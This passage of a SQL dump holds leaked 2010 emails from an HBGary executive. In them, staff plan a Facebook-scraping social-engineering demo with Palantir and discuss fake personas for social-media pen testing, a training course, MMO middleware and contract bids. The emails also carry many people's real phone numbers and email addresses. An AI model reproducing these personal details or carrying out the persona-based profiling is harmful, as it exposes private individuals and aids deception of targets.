&nbsp;02138\r\nPhone: (617) 234-6002\r\nCell: (781) 439-5359\r\nEmail: rupton@generalcatalyst.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9500,'aaron_hbgary_com/9500.html'),(10989,'2010-08-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008438.M25973P14101Q5844.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,,','Re: Another Killer Demo','I just had a very good meeting with an IC customer.  We need to do\r\nthis one.  Let\'s talk next week.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 27, 2010, at 2:43 PM, Aaron Zollman  wrote:\r\n\r\n>\r\n>    It\'d be even easier with the graph APIs...\r\n> http://graph.facebook.com/ ... JSON parser & an API key and we could knock\r\n> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n>\r\n>    What\'s the workflow we\'d be shooting for, other than as a\r\n> visualization front-end for an organization\'s structure?\r\n>\r\n>\r\n>\r\n>    I think we\'ve done a twitter presentation at Govcon in the past --\r\n> trying to hunt down the video -- so we wouldn\'t be demonstrating anything\r\n> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n> pen-testing/cybersecurity context. An integration with this and some other\r\n> pen-testing data -- known account identifiers, and data collected from them,\r\n> for example -- might be cool. If we could bring in some malware fingerprint\r\n> data too, and build a whole \"here\'s how we pwned your network\"\r\n> exploration...\r\n>\r\n>    I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n> helpful.\r\n>\r\n>\r\n>\r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, August 26, 2010 11:43 AM\r\n> To: Matthew Steckman\r\n> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n> Subject: Re: Another Killer Demo\r\n>\r\n> On the social side here is what I would like to do.  I think between Mark\r\n> and Aaron this could be put together very quickly and would be powerful.\r\n>\r\n> start with a profile in facebook.\r\n>\r\n> http://www.facebook.com/profile.php?id=100001092994636\r\n>\r\n> View the source of that page.  There is all kinds of information we can\r\n> collect and parse to build some very robust social maps.\r\n> Those people that provide information and have their friends lists exposed\r\n> provide an incredible social engineering and recon tool.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n>\r\n>> Brandon is a rockstar!!! Good call.\r\n>>\r\n>> Let us know if you want help on the demo, sounds like it could be really\r\n>> interesting.  We\'d probably love to make a video of is as well to put up\r\n> on\r\n>> our analysis blog (with HBGary branding of course!).\r\n>>\r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantir.com | 202-257-2270\r\n>>\r\n>> Follow @palantirtech\r\n>> Watch youtube.com/palantirtech\r\n>> Attend Palantir Night Live\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>> To: Matthew Steckman\r\n>> Cc: Aaron Zollman\r\n>> Subject: Another Killer Demo\r\n>>\r\n>> Matt,\r\n>>\r\n>> I have been doing talks on social media, have a lot more scheduled, along\r\n>> with some training gigs.  In the process I am setting up a lot of personas\r\n>> and doing social media pen testing against organizations.\r\n>>\r\n>> What I have found is there is an immense amount of information peoples\r\n>> friends lists as well as other social media digital artifacts can tell us.\r\n>> I think Palantir would be an awesome tool to present and use for analysis.\r\n>> We are just going to have to get someone to write a helper app.  I am\r\n> hoping\r\n>> to be able to hire Brandon Colston soon.\r\n>>\r\n>> Aaron\r\n>\r\n',10277,'aaron_hbgary_com/10277.html'),(10990,'2010-08-27','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008438.M280348P14101Q5845.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Course outline','I forwarded to John for comments.What I would like to see is something formatted with a short review of why this is needed:Course Objective and Why Social Media Training\r\nSocial Media threats are more prevalant than you would suppose.  Government officials, Corporate Executives etc are all targets.  Give some examples that the person with the $$$$ can relate to:  \r\nWhat value is there?  you can learn about it but how much can you gain by taking this class?Course ContentCustomization Option -- tailor the class to\r\nOn Thu, Aug 26, 2010 at 8:14 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nDoes this work or do you need more?Modules1.    \r\nFamiliarizationa.    \r\nWhat is Social Mediab.    \r\nSocial Media Landscapec.     \r\nMigration to the Social Webd.    \r\nContent Aggregatione.    \r\nSocial Media Services                                              \r\ni.     Facebook                                             \r\nii.     LinkedIn                                           \r\niii.     Twitter                                           \r\niv.     Flickr                                             \r\nv.     Youtube                                           \r\nvi.     Wikipediaf.     \r\nSocial Gamingg.    \r\nLocation Based Servicesh.    \r\nFacial and Object Recognitioni.      \r\nAugmented Reality2.    \r\nEffective Usea.    \r\nBenefits of Social Mediab.    \r\nUnderstanding Uses for Social Media                                              \r\ni.     Marketing\r\nand Advertising                                             \r\nii.     Collaboration                                           \r\niii.     Training                                           \r\niv.     Business\r\nDevelopmentc.     \r\n 3.    \r\nRisksa.    \r\nYour as weak as your weakest friendb.    \r\nInformation Aggregationc.     \r\nInformation Overloadd.    \r\nYou can’t take it backe.    \r\nCompetitive Intelligencef.     \r\nSocial Engineeringg.    \r\nYour Friend may not be your friendh.    \r\nControlling the messagei.      \r\nFragmentation4.    \r\nSocial Reconnaissancea.    \r\nSocial Engineering in 10 minutesb.    \r\nDefining the targetc.     \r\nPersona and Campaign Developmentd.    \r\nBuilding up and ine.    \r\nExamples of Information Aggregationf.     \r\nCrowd Sourcing to Malware5.    \r\nPolicy and Protectiona.    \r\nTop 10 Social Media Protection Stepsb.    \r\nEffective Continual Trainingc.     \r\nInformation Exposure Monitoringd.    \r\nData Leakage Monitoringe.    \r\nHow to protect and still use\r\n\r\n\r\n\r\n\r\nOn Aug 26, 2010, at 7:48 PM, Maria Lucas wrote:AaronDo you have a latest course outline for Bank of the West?Maria\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n',1978,'aaron_hbgary_com/1978.html'),(10991,'2010-08-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008438.M570127P14101Q5846.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: Course outline','Got it.  I&#39;ll throw that together.  That should be on our brochure.Sent from my iPhoneOn Aug 27, 2010, at 6:00 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nI forwarded to John for comments.What I would like to see is something formatted with a short review of why this is needed:Course Objective and Why Social Media Training\r\n\r\nSocial Media threats are more prevalant than you would suppose.  Government officials, Corporate Executives etc are all targets.  Give some examples that the person with the $$$$ can relate to:  \r\n\r\nWhat value is there?  you can learn about it but how much can you gain by taking this class?Course ContentCustomization Option -- tailor the class to\r\n\r\nOn Thu, Aug 26, 2010 at 8:14 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nDoes this work or do you need more?Modules1.    \r\nFamiliarizationa.    \r\nWhat is Social Mediab.    \r\nSocial Media Landscapec.     \r\nMigration to the Social Webd.    \r\nContent Aggregatione.    \r\nSocial Media Services                                              \r\ni.     Facebook                                             \r\nii.     LinkedIn                                           \r\niii.     Twitter                                           \r\niv.     Flickr                                             \r\nv.     Youtube                                           \r\nvi.     Wikipediaf.     \r\nSocial Gamingg.    \r\nLocation Based Servicesh.    \r\nFacial and Object Recognitioni.      \r\nAugmented Reality2.    \r\nEffective Usea.    \r\nBenefits of Social Mediab.    \r\nUnderstanding Uses for Social Media                                              \r\ni.     Marketing\r\nand Advertising                                             \r\nii.     Collaboration                                           \r\niii.     Training                                           \r\niv.     Business\r\nDevelopmentc.     \r\n 3.    \r\nRisksa.    \r\nYour as weak as your weakest friendb.    \r\nInformation Aggregationc.     \r\nInformation Overloadd.    \r\nYou can’t take it backe.    \r\nCompetitive Intelligencef.     \r\nSocial Engineeringg.    \r\nYour Friend may not be your friendh.    \r\nControlling the messagei.      \r\nFragmentation4.    \r\nSocial Reconnaissancea.    \r\nSocial Engineering in 10 minutesb.    \r\nDefining the targetc.     \r\nPersona and Campaign Developmentd.    \r\nBuilding up and ine.    \r\nExamples of Information Aggregationf.     \r\nCrowd Sourcing to Malware5.    \r\nPolicy and Protectiona.    \r\nTop 10 Social Media Protection Stepsb.    \r\nEffective Continual Trainingc.     \r\nInformation Exposure Monitoringd.    \r\nData Leakage Monitoringe.    \r\nHow to protect and still use\r\n\r\n\r\n\r\n\r\nOn Aug 26, 2010, at 7:48 PM, Maria Lucas wrote:AaronDo you have a latest course outline for Bank of the West?Maria\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n\r\n\r\n',14035,'aaron_hbgary_com/14035.html'),(10992,'2010-08-28','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008438.M809108P14101Q5847.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Michael has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Michael are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Michael Zeberlein \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Cyber CounterIntelligence Malware Analyst Reverse/Exploit Engineer - Crucial Security. Harris Corp.\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Michael\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          michael.zeberlein@harris.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Michael\'s Connections (145) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Marcus Skeel\r\n                ,\r\n                  Sr. IT Project Manager, ITIL Certified\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Nancy Melone\r\n                ,\r\n                  Lockheed Martin Talent Acquisition +1100 Connections\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 David Aylesworth\r\n                ,\r\n                  Director of Program Management at Fortress Technologies\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Ken Chang\r\n                ,\r\n                  Product Management\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Michael\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Crucial Security\r\n                    \r\n                      Michael works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     SRA International\r\n                    \r\n                      Michael worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Booz Allen Hamilton\r\n                    \r\n                      Michael worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Lockheed Martin\r\n                    \r\n                      Michael worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',2392,'aaron_hbgary_com/2392.html'),(10993,'2010-08-29','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008439.M312594P14101Q5849.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>','interesting example of a platform company with no server','Check out Unity\r\n \r\nhttp://unity3d.com/\r\n \r\nThey claim &quot;most powerful engine this side of a million dollars&quot;.\r\n \r\nI dug into their lit and they don&#39;t have anything close to a server solution - this is all client side.  They have a networking feature but it&#39;s a fat-connection layered on RPC, the kind of thing you can use to send chat messages and such, but would never work for a massively multiplayer environment.\r\n\r\n \r\nAgain, just reminds me that there is a gap.\r\n \r\n-Greg\r\n',9549,'aaron_hbgary_com/9549.html'),(10994,'2010-08-29','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008439.M549362P14101Q5850.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>','MMOG middleware companies','I did some quick research to find companies in the &#39;MMOG middleware&#39; space and MMO server-side tech:\r\n \r\nBigWorld tech (bigworldtech.com) \r\nHero Engine (http://www.heroengine.com/) (Bioware uses them, that is a good testimonial)\r\nAerCore (aercore.com) - looks like a bit player can&#39;t be sure\r\nEmergent Technologies\r\nPerpetual\r\nSun Microsystems (Project Darkstar) - freeware crap written in java - won&#39;t scale\r\nQuazal&#39;s Net-Z / Rendez-Vous\r\nSecond Life / Linden - everyone knows about second life already :-)\r\nMonumental Technology\r\nIcarus Studios / Icarus Platform\r\nMultiverse (http://www.multiverse.net/index.html) - I think this might be crap, the screenshots look alot better today than they did last year they were horrid\r\n\r\n \r\n \r\n \r\n \r\n',15180,'aaron_hbgary_com/15180.html'),(10995,'2010-08-28','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008439.M67778P14101Q5848.eml','aaron@hbgary.com,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','TSA ITSSS now due 9/10; Next Team Review Wed 12-3 this week.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAlso, I&#8217;ve run into 2 more companies who were on teams but\r\nthose teams have decided to no-bid.\r\n\r\n&nbsp;\r\n\r\nWednesday noon-3pm is next Team Review, here at DMI.&nbsp; Will\r\nsend out invite shortly.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nINPUT Opp ID: 55429\r\nProgram: INFORMATION TECHNOLOGY SECURITY SUPPORT SERVICES (ITSSS)\r\nOrganization: HOMELAND SECURITY &raquo; TRANSPORTATION SECURITY ADMINISTRATION\r\n\r\nStatus: Post-RFP\r\nLatest News: The Contracting Office released Amendment #4 on August 27, 2010.\r\nThe purpose of this Amendment is to extend the Proposal due date. Proposals are\r\nnow due by 3:00 PM EST on September 10, 2010.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3524,'aaron_hbgary_com/3524.html'),(10996,'2010-08-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008439.M773231P14101Q5851.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','TMC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and Aaron,\r\n\r\n&nbsp;\r\n\r\nHow is TMC coming?&nbsp; Places we can take it&#8230;&#8230;&#8230;\r\n\r\n&nbsp;\r\n\r\nSAIC and NANA &#8211; McGuffey and Nolan Clifford want an\r\nautomated way to triage lots of binaries.&nbsp; Want a demo.\r\n\r\n&nbsp;\r\n\r\nNSA ANO and Blue Team.\r\n\r\n&nbsp;\r\n\r\nDC3\r\n\r\n&nbsp;\r\n\r\nAFCERT and 90th\r\n\r\n&nbsp;\r\n\r\nFBI\r\n\r\n&nbsp;\r\n\r\nBooz\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10018,'aaron_hbgary_com/10018.html'),(10997,'2010-08-29','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008439.M981991P14101Q5852.eml','\"Vera Ted\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','CDC','158.111.0.0\r\n\r\n\r\n',3327,'aaron_hbgary_com/3327.html'),(10998,'2010-08-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008440.M260529P14101Q5853.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Northrop Grumman','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nTwo things&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nIt bugs me that I have zero sales traction at NG.&nbsp; Bill\r\nRussell is a name that has come up as running NG internal SOC and security operations.&nbsp;\r\nCan you line up a meeting with him where we can show him Active Defense? Surely\r\nNG is being targeted like every other gov&#8217;t contractor.\r\n\r\n&nbsp;\r\n\r\nI told you that I refused to cooperate with two NG IRAD\r\ngroups headed by Cal Smith and Sean Tulles.&nbsp; They are working longer term\r\nIRADs that would not generate product revenue for a long time, and none of\r\ntheir IRAD dollars now.&nbsp; They said all they needed was the AD software and\r\nno tech help or development help from HBGary.&nbsp; I did not believe it because\r\nI can&#8217;t image integrating our s/w without tech help.&nbsp; And since they\r\nwouldn&#8217;t put up money I turned them down.\r\n\r\n&nbsp;\r\n\r\nClearly, this was the best action for ME because I get\r\njudged and rewarded based on revenue I bring in the current year.&nbsp; 1-2\r\nyears out just doesn&#8217;t matter to me.\r\n\r\n&nbsp;\r\n\r\nBUT, I was wondering if these relationships might matter to\r\nHBGary Federal.&nbsp; If they matter to you, then I leave open the possibility\r\nthat you could re-open the relationship and be the &#8220;good cop&#8221;.&nbsp;\r\nMaybe they could actual make good progress just having a demo version of AD\r\nwithout any tech help.&nbsp; It is your call&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6617,'aaron_hbgary_com/6617.html'),(10999,'2010-08-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008440.M479659P14101Q5854.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Northrop Grumman','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nMITRE is another group I didn&#8217;t\r\ncooperate with.&nbsp; Let me know if you want contact info to follow up with them.\r\n\r\n&nbsp;\r\n\r\n(Basically, I am saying there is\r\nno cheese for me in these accounts, but I will turn the contacts over to you if\r\nyou wish to explore them and be the good cop if you want to.)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Sunday, August 29, 2010 1:47 PM\r\nTo: \'Ted Vera\'; \'Aaron Barr\'\r\nSubject: Northrop Grumman\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nTwo things&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nIt bugs me that I have zero sales traction at NG.&nbsp; Bill\r\nRussell is a name that has come up as running NG internal SOC and security\r\noperations.&nbsp; Can you line up a meeting with him where we can show him\r\nActive Defense? Surely NG is being targeted like every other gov&#8217;t contractor.\r\n\r\n&nbsp;\r\n\r\nI told you that I refused to cooperate with two NG IRAD\r\ngroups headed by Cal Smith and Sean Tulles.&nbsp; They are working longer term\r\nIRADs that would not generate product revenue for a long time, and none of\r\ntheir IRAD dollars now.&nbsp; They said all they needed was the AD software and\r\nno tech help or development help from HBGary.&nbsp; I did not believe it\r\nbecause I can&#8217;t image integrating our s/w without tech help.&nbsp; And since\r\nthey wouldn&#8217;t put up money I turned them down.\r\n\r\n&nbsp;\r\n\r\nClearly, this was the best action for ME because I get\r\njudged and rewarded based on revenue I bring in the current year.&nbsp; 1-2\r\nyears out just doesn&#8217;t matter to me.\r\n\r\n&nbsp;\r\n\r\nBUT, I was wondering if these relationships might matter to\r\nHBGary Federal.&nbsp; If they matter to you, then I leave open the possibility\r\nthat you could re-open the relationship and be the &#8220;good cop&#8221;.&nbsp; Maybe they\r\ncould actual make good progress just having a demo version of AD without any\r\ntech help.&nbsp; It is your call&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16616,'aaron_hbgary_com/16616.html'),(11000,'2010-08-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008440.M703814P14101Q5855.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>','RE: interesting example of a platform company with no server','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSuppose a company wanted to build a new MMO game using existing\r\ns/w and tools.&nbsp; Could they use Unity for client side and us for server side?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Sunday, August 29, 2010 11:28 AM\r\nTo: Bob Slapnik; Aaron Barr; Penny C. Hoglund\r\nSubject: interesting example of a platform company with no server\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCheck out Unity\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://unity3d.com/\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThey claim &quot;most powerful engine this side of a million\r\ndollars&quot;.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI dug into their lit and they don\'t have anything close to a\r\nserver solution - this is all client side.&nbsp; They have a networking feature\r\nbut it\'s a fat-connection layered on RPC, the kind of thing you can use to send\r\nchat messages and such, but would never work for a massively multiplayer\r\nenvironment.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAgain, just reminds me that there is a gap.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 08/28/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12969,'aaron_hbgary_com/12969.html'),(11001,'2010-08-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008443.M229557P14101Q5857.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: interesting example of a platform company with no server','Probably - it would depend on whether unity allows you to control the TCP packets.  If you can, then you could implement the client/server protocol and the unity client could be the front end.  This is basically the idea behind making an iPad version of the client, we would have to use iPad specific development tools and build a whole new client, but it would support the network protocol.\r\n\r\n \r\nBTW, I just interviewed a fella who is currently evaluating Unity for his current employer.  He could probably get us a copy to play with.  He is interested in coming on board with the game project.\r\n \r\n-Greg\r\nOn Sun, Aug 29, 2010 at 5:06 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nSuppose a company wanted to build a new MMO game using existing s/w and tools.  Could they use Unity for client side and us for server side?\r\n \r\n \r\n \r\n\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] Sent: Sunday, August 29, 2010 11:28 AM\r\nTo: Bob Slapnik; Aaron Barr; Penny C. HoglundSubject: interesting example of a platform company with no server\r\n\r\n\r\n\r\n \r\n\r\nCheck out Unity\r\n\r\n \r\n\r\nhttp://unity3d.com/\r\n\r\n \r\n\r\nThey claim &quot;most powerful engine this side of a million dollars&quot;.\r\n\r\n \r\n\r\nI dug into their lit and they don&#39;t have anything close to a server solution - this is all client side.  They have a networking feature but it&#39;s a fat-connection layered on RPC, the kind of thing you can use to send chat messages and such, but would never work for a massively multiplayer environment.\r\n\r\n\r\n \r\n\r\nAgain, just reminds me that there is a gap.\r\n\r\n \r\n\r\n-Greg\r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 08/28/10 02:34:00\r\n\r\n',6615,'aaron_hbgary_com/6615.html'),(11002,'2010-08-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008443.M431885P14101Q5858.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>','Ogre3D works on XBox, IPad, IPhone','This game runs on both PC and 